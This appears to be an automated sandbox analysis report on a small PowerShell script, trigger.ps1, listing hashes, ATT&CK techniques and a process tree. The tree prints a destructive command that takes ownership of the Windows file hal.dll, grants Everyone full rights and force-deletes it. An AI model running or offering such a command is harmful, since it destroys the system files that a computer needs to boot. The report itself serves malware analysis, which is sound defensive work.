4dd70bda2372eb7a20baca37320e246c2e6baf3ad622c558df3e70cb91bed8b2

Analysis

max time kernel
94s
max time network
107s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 14:54

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General

Target

trigger.ps1
Size

142B
MD5

3981277c3f6d65f3351a8709ae9b1a6d
SHA1

35f1475f69a389a1a2480f3ecef78a7a46c93083
SHA256

4dd70bda2372eb7a20baca37320e246c2e6baf3ad622c558df3e70cb91bed8b2
SHA512

a5babc6cda3817f7f74b40568672dd2fb25284bcd493d4bcbd25c621e9ffc71897f239b968fed0c5f526c2e40bc88ef7a62cdc9e7387942cbb172486935d3435

Score

8^/10

discovery execution exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3176	takeown.exe
2492	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3176	takeown.exe
2492	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2488	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2488	powershell.exe
2488	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeTakeOwnershipPrivilege	3176	takeown.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 1912	2488	powershell.exe	84
PID 2488 wrote to memory of 1912	2488	powershell.exe	84
PID 1912 wrote to memory of 3176	1912	cmd.exe	85
PID 1912 wrote to memory of 3176	1912	cmd.exe	85
PID 1912 wrote to memory of 2492	1912	cmd.exe	86
PID 1912 wrote to memory of 2492	1912	cmd.exe	86

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f C:\Windows\System32\hal.dll"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3176
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2492

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uggc0qaw.yt4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2488-0-0x00007FF8ED4A3000-0x00007FF8ED4A5000-memory.dmp

Filesize
8KB

Download
memory/2488-10-0x000001B4EE730000-0x000001B4EE752000-memory.dmp

Filesize
136KB

Download
memory/2488-11-0x00007FF8ED4A0000-0x00007FF8EDF61000-memory.dmp

Filesize
10.8MB

Download
memory/2488-12-0x00007FF8ED4A0000-0x00007FF8EDF61000-memory.dmp

Filesize
10.8MB

Download
memory/2488-15-0x00007FF8ED4A0000-0x00007FF8EDF61000-memory.dmp

Filesize
10.8MB

Download